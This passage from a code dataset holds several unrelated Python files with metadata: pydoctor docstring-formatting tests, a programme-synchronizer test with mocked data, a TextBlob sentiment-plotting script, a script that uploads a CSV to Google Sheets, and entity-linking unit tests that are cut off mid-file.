blue moon.\n        \"\"\"\n    ''')\n    func = mod.contents['f']\n    epydoc2stan.format_docstring(func)\n    captured = capsys.readouterr().out\n    assert captured == '<test>:5: Exception type missing\\n'\n    html = docstring2html(func).split('\\n')\n    assert '<span class=\"undocumented\">Unknown exception</span>' in html\n\n\ndef test_unexpected_field_args(capsys: CapSys) -> None:\n    \"\"\"Warn when field arguments that should be empty aren't.\"\"\"\n    mod = fromText('''\n    def get_it():\n        \"\"\"\n        @return value: The thing you asked for, probably.\n        @rtype value: Not a clue.\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['get_it'])\n    captured = capsys.readouterr().out\n    assert captured == \"<test>:4: Unexpected argument in return field\\n\" \\\n                       \"<test>:5: Unexpected argument in rtype field\\n\"\n\n\ndef test_func_starargs(capsys: CapSys) -> None:\n    \"\"\"Var-args must be named in fields without asterixes.\n    But for compatibility, we warn and strip off the asterixes.\n    \"\"\"\n    bad_mod = fromText('''\n    def f(*args: int, **kwargs) -> None:\n        \"\"\"\n        Do something with var-positional and var-keyword arguments.\n\n        @param *args: var-positional arguments\n        @param **kwargs: var-keyword arguments\n        @type **kwargs: C{str}\n        \"\"\"\n    ''', modname='<bad>')\n    good_mod = fromText('''\n    def f(*args: int, **kwargs) -> None:\n        \"\"\"\n        Do something with var-positional and var-keyword arguments.\n\n        @param args: var-positional arguments\n        @param kwargs: var-keyword arguments\n        @type kwargs: C{str}\n        \"\"\"\n    ''', modname='<good>')\n    bad_fmt = docstring2html(bad_mod.contents['f'])\n    good_fmt = docstring2html(good_mod.contents['f'])\n    assert bad_fmt == good_fmt\n    captured = capsys.readouterr().out\n    assert captured == (\n        '<bad>:6: Parameter name \"*args\" should not include asterixes\\n'\n        '<bad>:7: Parameter name \"**kwargs\" should not include asterixes\\n'\n        '<bad>:8: Parameter name \"**kwargs\" should not include asterixes\\n'\n        )\n\n\ndef test_summary() -> None:\n    mod = fromText('''\n    def single_line_summary():\n        \"\"\"\n        Lorem Ipsum\n\n        Ipsum Lorem\n        \"\"\"\n    def no_summary():\n        \"\"\"\n        Foo\n        Bar\n        Baz\n        Qux\n        \"\"\"\n    def three_lines_summary():\n        \"\"\"\n        Foo\n        Bar\n        Baz\n\n        Lorem Ipsum\n        \"\"\"\n    ''')\n    assert 'Lorem Ipsum' == summary2html(mod.contents['single_line_summary'])\n    assert 'Foo Bar Baz' == summary2html(mod.contents['three_lines_summary'])\n    assert 'No summary' == summary2html(mod.contents['no_summary'])\n\n\ndef test_ivar_overriding_attribute() -> None:\n    \"\"\"An 'ivar' field in a subclass overrides a docstring for the same\n    attribute set in the base class.\n\n    The 'a' attribute in the test code reproduces a regression introduced\n    in pydoctor 20.7.0, where the summary would be constructed from the base\n    class documentation instead. The problem was in the fact that a split\n    field's docstring is stored in 'parsed_docstring', while format_summary()\n    looked there only if no unparsed docstring could be found.\n\n    The 'b' attribute in the test code is there to make sure that in the\n    absence of an 'ivar' field, the docstring is inherited.\n    \"\"\"\n\n    mod = fromText('''\n    class Base:\n        a: str\n        \"\"\"base doc\n\n        details\n        \"\"\"\n\n        b: object\n        \"\"\"not overridden\n\n        details\n        \"\"\"\n\n    class Sub(Base):\n        \"\"\"\n        @ivar a: sub doc\n        @type b: sub type\n        \"\"\"\n    ''')\n\n    base = mod.contents['Base']\n    base_a = base.contents['a']\n    assert isinstance(base_a, model.Attribute)\n    assert summary2html(base_a) == \"base doc\"\n    assert docstring2html(base_a) == \"<div>\\n<p>base doc</p>\\n<p>details</p>\\n</div>\"\n    base_b = base.contents['b']\n    assert isinstance(base_b, model.Attribute)\n    assert summary2html(base_b) == \"not overridden\"\n    assert docstring2html(base_b) == \"<div>\\n<p>not overridden</p>\\n<p>details</p>\\n</div>\"\n\n    sub = mod.contents['Sub']\n    sub_a = sub.contents['a']\n    assert isinstance(sub_a, model.Attribute)\n    assert summary2html(sub_a) == 'sub doc'\n    assert docstring2html(sub_a) == \"<div>sub doc</div>\"\n    sub_b = sub.contents['b']\n    assert isinstance(sub_b, model.Attribute)\n    assert summary2html(sub_b) == 'not overridden'\n    assert docstring2html(sub_b) == \"<div>\\n<p>not overridden</p>\\n<p>details</p>\\n</div>\"\n\n\ndef test_missing_field_name(capsys: CapSys) -> None:\n    mod = fromText('''\n    \"\"\"\n    A test module.\n\n    @ivar: Mystery variable.\n    @type: str\n    \"\"\"\n    ''', modname='test')\n    epydoc2stan.format_docstring(mod)\n    captured = capsys.readouterr().out\n    assert captured == \"test:5: Missing field name in @ivar\\n\" \\\n                       \"test:6: Missing field name in @type\\n\"\n\n\ndef test_unknown_field_name(capsys: CapSys) -> None:\n    mod = fromText('''\n    \"\"\"\n    A test module.\n\n    @zap: No such field.\n    \"\"\"\n    ''', modname='test')\n    epydoc2stan.format_docstring(mod)\n    captured = capsys.readouterr().out\n    assert captured == \"test:5: Unknown field 'zap'\\n\"\n\n\ndef test_inline_field_type(capsys: CapSys) -> None:\n    \"\"\"The C{type} field in a variable docstring updates the C{parsed_type}\n    of the Attribute it documents.\n    \"\"\"\n    mod = fromText('''\n    a = 2\n    \"\"\"\n    Variable documented by inline docstring.\n    @type: number\n    \"\"\"\n    ''', modname='test')\n    a = mod.contents['a']\n    assert isinstance(a, model.Attribute)\n    epydoc2stan.format_docstring(a)\n    assert isinstance(a.parsed_type, ParsedEpytextDocstring)\n    assert str(unwrap(a.parsed_type)) == 'number'\n    assert not capsys.readouterr().out\n\n\ndef test_inline_field_name(capsys: CapSys) -> None:\n    \"\"\"Warn if a name is given for a C{type} field in a variable docstring.\n    A variable docstring only documents a single variable, so the name is\n    redundant at best and misleading at worst.\n    \"\"\"\n    mod = fromText('''\n    a = 2\n    \"\"\"\n    Variable documented by inline docstring.\n    @type a: number\n    \"\"\"\n    ''', modname='test')\n    a = mod.contents['a']\n    assert isinstance(a, model.Attribute)\n    epydoc2stan.format_docstring(a)\n    captured = capsys.readouterr().out\n    assert captured == \"test:5: Field in variable docstring should not include a name\\n\"\n\n\ndef test_EpydocLinker_look_for_intersphinx_no_link() -> None:\n    \"\"\"\n    Return None if inventory had no link for our markup.\n    \"\"\"\n    system = model.System()\n    target = model.Module(system, 'ignore-name')\n    sut = epydoc2stan._EpydocLinker(target)\n\n    result = sut.look_for_intersphinx('base.module')\n\n    assert None is result\n\n\ndef test_EpydocLinker_look_for_intersphinx_hit() -> None:\n    \"\"\"\n    Return the link from inventory based on first package name.\n    \"\"\"\n    system = model.System()\n    inventory = SphinxInventory(system.msg)\n    inventory._links['base.module.other'] = ('http://tm.tld', 'some.html')\n    system.intersphinx = inventory\n    target = model.Module(system, 'ignore-name')\n    sut = epydoc2stan._EpydocLinker(target)\n\n    result = sut.look_for_intersphinx('base.module.other')\n\n    assert 'http://tm.tld/some.html' == result\n\n\ndef test_EpydocLinker_resolve_identifier_xref_intersphinx_absolute_id() -> None:\n    \"\"\"\n    Returns the link from Sphinx inventory based on a cross reference\n    ID specified in absolute dotted path and with a custom pretty text for the\n    URL.\n    \"\"\"\n    system = model.System()\n    inventory = SphinxInventory(system.msg)\n    inventory._links['base.module.other'] = ('http://tm.tld', 'some.html')\n    system.intersphinx = inventory\n    target = model.Module(system, 'ignore-name')\n    sut = epydoc2stan._EpydocLinker(target)\n\n    url = sut.resolve_identifier('base.module.other')\n    url_xref = sut._resolve_identifier_xref('base.module.other', 0)\n\n    assert \"http://tm.tld/some.html\" == url\n    assert \"http://tm.tld/some.html\" == url_xref\n\n\ndef test_EpydocLinker_resolve_identifier_xref_intersphinx_relative_id() -> None:\n    \"\"\"\n    Return the link from inventory using short names, by resolving them based\n    on the imports done in the module.\n    \"\"\"\n    system = model.System()\n    inventory = SphinxInventory(system.msg)\n    inventory._links['ext_package.ext_module'] = ('http://tm.tld', 'some.html')\n    system.intersphinx = inventory\n    target = model.Module(system, 'ignore-name')\n    # Here we set up the target module as it would have this import.\n    # from ext_package import ext_module\n    ext_package = model.Module(system, 'ext_package')\n    target.contents['ext_module'] = model.Module(\n        system, 'ext_module', parent=ext_package)\n\n    sut = epydoc2stan._EpydocLinker(target)\n\n    # This is called for the L{ext_module<Pretty Text>} markup.\n    url = sut.resolve_identifier('ext_module')\n    url_xref = sut._resolve_identifier_xref('ext_module', 0)\n\n    assert \"http://tm.tld/some.html\" == url\n    assert \"http://tm.tld/some.html\" == url_xref\n\n\ndef test_EpydocLinker_resolve_identifier_xref_intersphinx_link_not_found(capsys: CapSys) -> None:\n    \"\"\"\n    A message is sent to stdout when no link could be found for the reference,\n    while returning the reference name without an A link tag.\n    The message contains the full name under which the reference was resolved.\n    FIXME: Use a proper logging system instead of capturing stdout. https://github.com/twisted/pydoctor/issues/112\n    \"\"\"\n    system = model.System()\n    target = model.Module(system, 'ignore-name')\n    # Here we set up the target module as it would have this import.\n    # from ext_package import ext_module\n    ext_package = model.Module(system, 'ext_package')\n    target.contents['ext_module'] = model.Module(\n        system, 'ext_module', parent=ext_package)\n    sut = epydoc2stan._EpydocLinker(target)\n\n    # This is called for the L{ext_module} markup.\n    assert sut.resolve_identifier('ext_module') is None\n    assert not capsys.readouterr().out\n    with raises(LookupError):\n        sut._resolve_identifier_xref('ext_module', 0)\n\n    captured = capsys.readouterr().out\n    expected = (\n        'ignore-name:???: Cannot find link target for \"ext_package.ext_module\", '\n        'resolved from \"ext_module\" '\n        '(you can link to external docs with --intersphinx)\\n'\n        )\n    assert expected == captured\n\n\nclass InMemoryInventory:\n    \"\"\"\n    A simple inventory implementation which has an in-memory API link mapping.\n    \"\"\"\n\n    INVENTORY = {\n        'socket.socket': 'https://docs.python.org/3/library/socket.html#socket.socket',\n        }\n\n    def getLink(self, name: str) -> Optional[str]:\n        return self.INVENTORY.get(name)\n\ndef test_EpydocLinker_resolve_identifier_xref_order(capsys: CapSys) -> None:\n    \"\"\"\n    Check that the best match is picked when there are multiple candidates.\n    \"\"\"\n\n    mod = fromText('''\n    class C:\n        socket = None\n    ''')\n    mod.system.intersphinx = cast(SphinxInventory, InMemoryInventory())\n    linker = epydoc2stan._EpydocLinker(mod)\n\n    url = linker.resolve_identifier('socket.socket')\n    url_xref = linker._resolve_identifier_xref('socket.socket', 0)\n\n    assert 'https://docs.python.org/3/library/socket.html#socket.socket' == url\n    assert 'https://docs.python.org/3/library/socket.html#socket.socket' == url_xref\n    assert not capsys.readouterr().out\n\n\ndef test_EpydocLinker_resolve_identifier_xref_internal_full_name() -> None:\n    \"\"\"Link to an internal object referenced by its full name.\"\"\"\n\n    # Object we want to link to.\n    int_mod = fromText('''\n    class C:\n        pass\n    ''', modname='internal_module')\n    system = int_mod.system\n\n    # Dummy module that we want to link from.\n    target = model.Module(system, 'ignore-name')\n    sut = epydoc2stan._EpydocLinker(target)\n\n    url = sut.resolve_identifier('internal_module.C')\n    xref = sut._resolve_identifier_xref('internal_module.C', 0)\n\n    assert \"internal_module.C.html\" == url\n    assert int_mod.contents['C'] is xref\n\n\ndef test_xref_not_found_epytext(capsys: CapSys) -> None:\n    \"\"\"\n    When a link in an epytext docstring cannot be resolved, the reference\n    and the line number of the link should be reported.\n    \"\"\"\n\n    mod = fromText('''\n    \"\"\"\n    A test module.\n\n    Link to limbo: L{NoSuchName}.\n    \"\"\"\n    ''', modname='test')\n\n    epydoc2stan.format_docstring(mod)\n\n    captured = capsys.readouterr().out\n    assert captured == 'test:5: Cannot find link target for \"NoSuchName\"\\n'\n\n\ndef test_xref_not_found_restructured(capsys: CapSys) -> None:\n    \"\"\"\n    When a link in an reStructedText docstring cannot be resolved, the reference\n    and the line number of the link should be reported.\n    However, currently the best we can do is report the starting line of the\n    docstring instead.\n    \"\"\"\n\n    system = model.System()\n    system.options.docformat = 'restructuredtext'\n    mod = fromText('''\n    \"\"\"\n    A test module.\n\n    Link to limbo: `NoSuchName`.\n    \"\"\"\n    ''', modname='test', system=system)\n\n    epydoc2stan.format_docstring(mod)\n\n    captured = capsys.readouterr().out\n    # TODO: Should actually be line 5, but I can't get docutils to fill in\n    #       the line number when it calls visit_title_reference().\n    #       https://github.com/twisted/pydoctor/issues/237\n    assert captured == 'test:3: Cannot find link target for \"NoSuchName\"\\n'\n\n\nclass RecordingAnnotationLinker(DocstringLinker):\n    \"\"\"A DocstringLinker implementation that cannot find any links,\n    but does record which identifiers it was asked to link.\n    \"\"\"\n\n    def __init__(self) -> None:\n        self.requests: List[str] = []\n\n    def link_to(self, target: str, label: str) -> Tag:\n        self.resolve_identifier(target)\n        return tags.transparent(label)\n\n    def link_xref(self, target: str, label: str, lineno: int) -> Tag:\n        assert False\n\n    def resolve_identifier(self, identifier: str) -> Optional[str]:\n        self.requests.append(identifier)\n        return None\n\n@mark.parametrize('annotation', (\n    '<bool>',\n    '<NotImplemented>',\n    '<typing.Iterable>[<int>]',\n    '<Literal>[<True>]',\n    '<Mapping>[<str>, <C>]',\n    '<Tuple>[<a.b.C>, ...]',\n    '<Callable>[[<str>, <bool>], <None>]',\n    ))\ndef test_annotation_formatter(annotation: str) -> None:\n    \"\"\"Perform two checks on the annotation formatter:\n    - all type names in the annotation are passed to the linker\n    - the plain text version of the output matches the input\n    \"\"\"\n\n    expected_lookups = [found[1:-1] for found in re.findall('<[^>]*>', annotation)]\n    expected_text = annotation.replace('<', '').replace('>', '')\n\n    mod = fromText(f'''\n    value: {expected_text}\n    ''')\n    obj = mod.contents['value']\n    parsed = epydoc2stan.get_parsed_type(obj)\n    assert parsed is not None\n    linker = RecordingAnnotationLinker()\n    stan = parsed.to_stan(linker)\n    assert linker.requests == expected_lookups\n    html = flatten(stan)\n    assert html.startswith('<code>')\n    assert html.endswith('</code>')\n    text = html[6:-7]\n    assert text.replace('<wbr></wbr>', '').replace('<wbr>\\n</wbr>', '') == expected_text\n\ndef test_module_docformat(capsys: CapSys) -> None:\n    \"\"\"\n    Test if Module.docformat effectively override System.options.docformat\n    \"\"\"\n\n    system = model.System()\n    system.options.docformat = 'plaintext'\n\n    mod = fromText('''\n    \"\"\"\n    Link to pydoctor: U{pydoctor <https://github.com/twisted/pydoctor>}.\n    \"\"\"\n    __docformat__ = \"epytext\"\n    ''', modname='test_epy', system=system)\n\n    epytext_output = epydoc2stan.format_docstring(mod)\n\n    captured = capsys.readouterr().out\n    assert not captured\n\n    mod = fromText('''\n    \"\"\"\n    Link to pydoctor: `pydoctor <https://github.com/twisted/pydoctor>`_.\n    \"\"\"\n    __docformat__ = \"restructuredtext en\"\n    ''', modname='test_rst', system=system)\n\n    restructuredtext_output = epydoc2stan.format_docstring(mod)\n\n    captured = capsys.readouterr().out\n    assert not captured\n\n    assert 'href=\"https://github.com/twisted/pydoctor\"' in flatten(epytext_output)\n    \n    assert 'href=\"https://github.com/twisted/pydoctor\"' in flatten(restructuredtext_output)\n\n\ndef test_module_docformat_inheritence(capsys: CapSys) -> None:\n    top_src = '''\n    def f(a: str, b: int): \n        \"\"\"\n        :param a: string\n        :param b: integer\n        \"\"\"\n        pass\n    '''\n    mod_src = '''\n    def f(a: str, b: int): \n        \"\"\"\n        @param a: string\n        @param b: integer\n        \"\"\"\n        pass\n    '''\n    pkg_src = '''\n    __docformat__ = 'epytext'\n    '''\n\n    system = model.System()\n    system.options.docformat = 'restructuredtext'\n    top = fromText(top_src, modname='top', is_package=True, system=system)\n    fromText(pkg_src, modname='pkg', parent_name='top', is_package=True,\n                   system=system)\n    mod = fromText(mod_src, modname='top.pkg.mod', parent_name='top.pkg', system=system)\n    \n    captured = capsys.readouterr().out\n    assert not captured\n\n    assert ''.join(docstring2html(top.contents['f']).splitlines()) == ''.join(docstring2html(mod.contents['f']).splitlines())\n    \n\ndef test_module_docformat_with_docstring_inheritence(capsys: CapSys) -> None:\n\n    mod_src = '''\n    __docformat__ = \"restructuredtext\"\n\n    class A:\n        def f(self, a: str, b: int): \n            \"\"\"\n            .. note:: Note.\n            \"\"\"\n    '''\n\n    mod2_src = '''\n    from mod import A\n    __docformat__ = \"epytext\"\n\n    class B(A):\n        def f(self, a: str, b: int): \n            pass\n    '''\n\n    system = model.System()\n    system.options.docformat = 'epytext'\n\n    mod = fromText(mod_src, modname='mod', system=system)\n    mod2 = fromText(mod2_src, modname='mod2', system=system)\n    \n    captured = capsys.readouterr().out\n    assert not captured\n\n    B_f = mod2.resolveName('B.f')\n    A_f = mod.resolveName('A.f')\n\n    assert B_f\n    assert A_f\n\n    assert ''.join(docstring2html(B_f).splitlines()) == ''.join(docstring2html(A_f).splitlines())\n","sub_path":"pydoctor/test/test_epydoc2stan.py","file_name":"test_epydoc2stan.py","file_ext":"py","file_size_in_byte":30556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"399901887","text":"from unittest import TestCase\n\nfrom mock import MagicMock\n\nfrom eums.models import Programme\nfrom eums.vision.programme_synchronizer import ProgrammeSynchronizer\n\n\nclass TestSyncProgramme(TestCase):\n    def setUp(self):\n        self.downloaded_programme = {'GetProgrammeStructureList_JSONResult':\n                                         '[{\"BUSINESS_AREA_CODE\":\"4380\",' \\\n                                         '\"BUSINESS_AREA_NAME\":\"Uganda\",' \\\n                                         '\"COUNTRY_PROGRAMME_WBS\":\"4380/A0/04\",' \\\n                                         '\"COUNTRY_PROGRAMME_NAME\":\"UGANDA COUNTRY PROGRAM (2010 - 2015) EXT\",' \\\n                                         '\"CP_START_DATE\":\"\\\\/Date(1262322000000)\\\\/\",' \\\n                                         '\"CP_END_DATE\":\"\\\\/Date(1451538000000)\\\\/\",' \\\n                                         '\"OUTCOME_WBS\":\"4380/A0/04/105\",' \\\n                                         '\"OUTCOME_ID\":105,' \\\n                                         '\"OUTCOME_DESCRIPTION\":\"YI105 - PCR 1 KEEP CHILDREN AND MOTHERS\",' \\\n                                         '\"OUTPUT_WBS\":\"4380/A0/04/105/004\",' \\\n                                         '\"OUTPUT_ID\":4,' \\\n                                         '\"OUTPUT_DESCRIPTION\":\"IR 1.4 NUTRITION\",' \\\n                                         '\"ACTIVITY_WBS\":\"4380/A0/04/105/004/090\",' \\\n                                         '\"ACTIVITY_ID\":90,' \\\n                                         '\"ACTIVITY_DESCRIPTION\":\"1.4.90 STAFF, TRAVEL AND RELATED COSTS\",' \\\n                                         '\"SIC_CODE\":\"04-06-01\",' \\\n                                         '\"SIC_NAME\":\"Nutrition # General\",' \\\n                                         '\"GIC_CODE\":\"013\",' \\\n                                         '\"GIC_NAME\":\"Operating costs # staff\",' \\\n                                         '\"HUMANITARIAN_TAG\":\"No\",' \\\n                                         '\"ACTIVITY_FOCUS_CODE\":\"6\",' \\\n                                         '\"ACTIVITY_FOCUS_NAME\":\"6 Management/Operations\"},' \\\n                                         '' \\\n                                         '{\"BUSINESS_AREA_CODE\":\"4380\",' \\\n                                         '\"BUSINESS_AREA_NAME\":\"Uganda\",' \\\n                                         '\"COUNTRY_PROGRAMME_WBS\":\"4380/A0/05\",' \\\n                                         '\"COUNTRY_PROGRAMME_NAME\":\"UGANDA CONTRY PROGRAMME (2016 - 2020)\",' \\\n                                         '\"CP_START_DATE\":\"\\\\/Date(1451624400000)\\\\/\",' \\\n                                         '\"CP_END_DATE\":\"\\\\/Date(1609390800000)\\\\/\",' \\\n                                         '\"OUTCOME_WBS\":\"4380/A0/05/113\",' \\\n                                         '\"OUTCOME_ID\":113,' \\\n                                         '\"OUTCOME_DESCRIPTION\":\"3: CHILD PROTECTION\",' \\\n                                         '\"OUTPUT_WBS\":\"4380/A0/05/113/003\",' \\\n                                         '\"OUTPUT_ID\":3,' \\\n                                         '\"OUTPUT_DESCRIPTION\":\"OUTPUT 3.3 BIRTH REGISTRATION\",' \\\n                                         '\"ACTIVITY_WBS\":\"4380/A0/05/113/003/001\",' \\\n                                         '\"ACTIVITY_ID\":1,' \\\n                                         '\"ACTIVITY_DESCRIPTION\":\"3.3.90 STAFF COSTS\",' \\\n                                         '\"SIC_CODE\":\"06-05-01\",' \\\n                                         '\"SIC_NAME\":\"Birth and civil registration\",' \\\n                                         '\"GIC_CODE\":\"013\",' \\\n                                         '\"GIC_NAME\":\"Operating costs # staff\",' \\\n                                         '\"HUMANITARIAN_TAG\":\"No\",' \\\n                                         '\"ACTIVITY_FOCUS_CODE\":\"6\",' \\\n                                         '\"ACTIVITY_FOCUS_NAME\":\"6 Management/Operations\"}]'}\n\n        self.expected_programme_1 = Programme(wbs_element_ex='4380/A0/04/105',\n                                              name='YI105 - PCR 1 KEEP CHILDREN AND MOTHERS')\n        self.expected_programme_2 = Programme(wbs_element_ex='4380/A0/05/113',\n                                              name='3: CHILD PROTECTION')\n\n        self.synchronizer = ProgrammeSynchronizer()\n\n    def tearDown(self):\n        Programme.objects.all().delete()\n\n    def test_should_load_programmes(self):\n        self.synchronizer._load_records = MagicMock(return_value=self.downloaded_programme)\n        self.synchronizer._convert_records = MagicMock()\n        self.synchronizer._save_records = MagicMock()\n        self.synchronizer.sync()\n\n        self.synchronizer._load_records.assert_called()\n        self.synchronizer._convert_records.assert_called()\n        self.synchronizer._save_records.assert_called()\n\n    def test_should_save_programmes(self):\n        self.synchronizer._load_records = MagicMock(return_value=self.downloaded_programme)\n        self.synchronizer.sync()\n\n        all_programmes = Programme.objects.all()\n        actual_programme_1 = all_programmes[0]\n        actual_programme_2 = all_programmes[1]\n\n        self._assert_programme_equal(actual_programme_1, self.expected_programme_1)\n        self._assert_programme_equal(actual_programme_2, self.expected_programme_2)\n\n    def _assert_programme_equal(self, actual_programme, expected_programme):\n        self.assertEqual(actual_programme.name, expected_programme.name)\n        self.assertEqual(actual_programme.wbs_element_ex, expected_programme.wbs_element_ex)\n","sub_path":"eums/test/vision/test_sync_programme.py","file_name":"test_sync_programme.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"223166161","text":"\n# to run this code, open gitbash and write the command: conda install -c conda-forge textblob\n# (see https://anaconda.org/conda-forge/textblob)\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom textblob import TextBlob\n\ndef create_pol(mytext):\n    polarity_value = TextBlob(mytext).sentiment.polarity\n    #return polarity_value such that it goes form 0 to 1 instead of -1 to 1\n    return (polarity_value+1)/2\n\ndef create_sen(mytext):\n    return TextBlob(mytext).sentiment.subjectivity\n\ndef senttiment_info(data):\n    \n    data[\"polarity\"] = data.apply (lambda row: create_pol(str(row.comments)),axis=1)#TextBlob(data['comments']).sentiment.polarity\n    data[\"subjectivity\"] = data.apply (lambda row: create_sen(str(row.comments)),axis=1)#TextBlob(data['comments']).sentiment.subjectivity\n    subset = data[[\"subjectivity\", \"polarity\"]]\n    draw(subset)\n\n    #frameList = np.array_split(hello, 10)\n    #df = pd.concat([frameList[0].mean(), frameList[1].mean(), frameList[2].mean()], axis=1).reset_index()\n    #df.T # dette burde dreje dataframen 90 grader, men det sker ikke ?!\n    #print(type(df))\n    #print(len(df))\n    #print(df.head())\n\n\ndef draw(subset):   \n    plot_file = 'sentiment.png'\n    ax = subset.plot()\n    ax.set_title('UFO Sightings sentiment')\n    ax.set_xlabel('sighting index')\n    ax.set_ylabel('polarity: negative(0) vs. positive(1)\\nsubjectivity: objective(0) vs. subjective(1)')\n    fig = ax.get_figure()\n    fig.savefig(plot_file)\n    \n","sub_path":"library/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"132966933","text":"import os\n\n# this get our current location in the file system\nimport inspect\nHERE_PATH = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\nimport pandas as pd\n\n\n# see gspread setup here https://gspread.readthedocs.io/en/latest/oauth2.html\n# pip install gspread\n# pip install --upgrade oauth2client\n\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nCREDENTIALS_FOLDERNAME = os.path.join(HERE_PATH, 'credentials')\nCREDENTIALS_FILENAME = os.path.join(CREDENTIALS_FOLDERNAME, 'OPENVAULT-f5d955c41c20.json')\n\nCSV_FOLDERNAME = os.path.join(HERE_PATH, 'csv')\nCSV_FILENAME = os.path.join(CSV_FOLDERNAME, 'tracking_data.csv')\n\nSPREADSHEET_ID = '1_eZhXE5kWl9tJaYAdPC-ZG3FqLMMYDfJR_rqlrHBv5A'\n\n\nif __name__ == '__main__':\n\n    # previous version was using the import_csv function from gspread but this was conflicting tiwht google studio as it seems to delete the spreadsheet sheets and create a new one each time, breaking links internal to google studio. We use a batch cells approach now, which works. Reminder of old methods below:\n    # content = open(CSV_FILENAME, 'r').read().encode('utf-8')\n    # gc.import_csv(SPREADSHEET_ID, content)\n\n    # load csv file\n    df = pd.read_csv(CSV_FILENAME)\n\n    cells = []\n    # https://github.com/burnash/gspread/issues/515\n    for n_column, header in enumerate(df.keys()):\n        # first row is header\n        cells.append(gspread.Cell(1, n_column + 1, header))\n        for n_row, value  in enumerate(df[header]):\n\n            if pd.isna(value):\n                value = ''\n            else:\n                value = str(value)\n\n            cells.append(gspread.Cell(n_row + 2, n_column + 1, value))\n\n    # the size of the dataset can only increase in theory using current pipeline so we do not bother looking into the spreadsheet, etc, we just overwrite\n\n    scope = ['https://spreadsheets.google.com/feeds',\n             'https://www.googleapis.com/auth/drive']\n\n    credentials = ServiceAccountCredentials.from_json_keyfile_name(CREDENTIALS_FILENAME, scope)\n\n    gc = gspread.authorize(credentials)\n    sh = gc.open_by_key(SPREADSHEET_ID)\n\n    worksheet = sh.get_worksheet(0)\n    worksheet.update_cells(cells)\n","sub_path":"stats/push_to_google_sheet.py","file_name":"push_to_google_sheet.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"333152161","text":"\"\"\"Entity testing module\"\"\"\n# pylint: disable=redefined-outer-name\nimport copy\nimport pytest\nfrom workspan.entity import Entity\n\n\n@pytest.fixture()\ndef setup_entities():\n    \"\"\"setup entities with function scope for later use\"\"\"\n    entity_a = Entity(3, \"EntityA\")\n    entity_b = Entity(5, \"EntityB\")\n    return entity_a, entity_b\n\n\ndef test_str(setup_entities):\n    \"\"\"entity string format\"\"\"\n    entity, _ = setup_entities\n    assert str(entity) == \"EntityA - 3\"\n\n\ndef test_link_to_wrong_type(setup_entities):\n    \"\"\"only Entity instance can be added\"\"\"\n    entity, _ = setup_entities\n    entity.link_to(1)\n    assert not entity.links\n\n\ndef test_self_linking(setup_entities):\n    \"\"\"test linking to self\"\"\"\n    entity_a, _ = setup_entities\n    entity_a.link_to(entity_a)\n    # this two methods are in relation so two assert is not a problem\n    assert not entity_a.links\n    assert not entity_a.connections\n\n\ndef test_prop_links_readonly(setup_entities):\n    \"\"\"testing links readonly\"\"\"\n    entity, _ = setup_entities\n    with pytest.raises(Exception):\n        entity.links.append(1)  # pylint: disable=no-member\n\n\ndef test_prop_connections_readonly(setup_entities):\n    \"\"\"testing connections readonly\"\"\"\n    entity, _ = setup_entities\n    with pytest.raises(Exception):\n        entity.connections.append(1)  # pylint: disable=no-member\n\n\ndef test_duplicate_entity_links(setup_entities):\n    \"\"\"in both cases it should be one because in first\n    case linking to origin object is not allowed and second case\n    linked entity is already linked\n    \"\"\"\n    entity_a, entity_b = setup_entities\n    entity_a.link_to(entity_b)\n    entity_a.link_to(entity_b)\n    assert entity_a.links\n\n\ndef test_entity_link_to(setup_entities):\n    \"\"\"this is normal one direction linking\"\"\"\n    entity_a, entity_b = setup_entities\n\n    assert entity_a.link_to(entity_b)\n    assert len(entity_a.links) == 1\n    assert entity_b == entity_a.links[0]\n\n\ndef test_entity_connection_from(setup_entities):\n    \"\"\"testing list of connections from entity\"\"\"\n    entity_a, entity_b = setup_entities\n\n    assert entity_a.link_to(entity_b)\n    assert len(entity_b.connections) == 1\n    assert entity_a == entity_b.connections[0]\n\n\ndef test_deepcopy_references(setup_entities):\n    \"\"\"checking copying mutable types\"\"\"\n    entity_a, entity_b = setup_entities\n    entity_a.link_to(entity_b)\n    # cloning\n    entity_c = copy.deepcopy(entity_a)\n\n    assert id(entity_a) != id(entity_c)\n\n    # checking immutable types\n    assert id(entity_a.links) != id(entity_c.links)\n    assert id(entity_a.links[0]) != id(entity_c.links[0])\n\n\ndef test_deep_copy(setup_entities):\n    \"\"\"cloning of root object with one link\"\"\"\n    entity_a, entity_b = setup_entities\n    entity_a.link_to(entity_b)\n    # cloning\n    entity_c = copy.deepcopy(entity_a)\n\n    assert entity_a == entity_c\n    # entity_a links + link to entity c\n    assert len(entity_a.links) == len(entity_c.links)\n    # check if number of connections are equal\n    assert not entity_c.connections\n\n\ndef test_deep_copy_1(setup_entities):\n    \"\"\"cloning of nested object with one link\"\"\"\n    entity_a, entity_b = setup_entities\n    entity_c = Entity(7, 'EntityC')\n    # linking\n    entity_a.link_to(entity_b)\n    entity_b.link_to(entity_c)\n\n    # cloning\n    entity_d = copy.deepcopy(entity_b)\n\n    assert entity_b == entity_d\n    # entity_a links + link to entity c\n    assert len(entity_b.links) == len(entity_d.links)\n    # check if number of connections are equal\n    assert len(entity_d.connections) == 1\n\n\ndef test_deep_copy_rec_link(setup_entities):\n    \"\"\"cloning of root object with one link per entity and one reverse link\"\"\"\n    entity_a, entity_b = setup_entities\n    entity_c = Entity(7, 'EntityC')\n    entity_d = Entity(9, 'EntityD')\n    # linking\n    entity_a.link_to(entity_b)\n    entity_b.link_to(entity_c)\n    entity_c.link_to(entity_d)\n    entity_d.link_to(entity_b)\n    # cloning\n    entity_e = copy.deepcopy(entity_a)\n\n    assert entity_e == entity_a\n    # entity_a links + link to entity c\n    assert len(entity_a.links) == len(entity_e.links)\n\n\ndef test_deep_copy_rec_link_nested(setup_entities):\n    \"\"\"cloning of nested object with one link per entity and 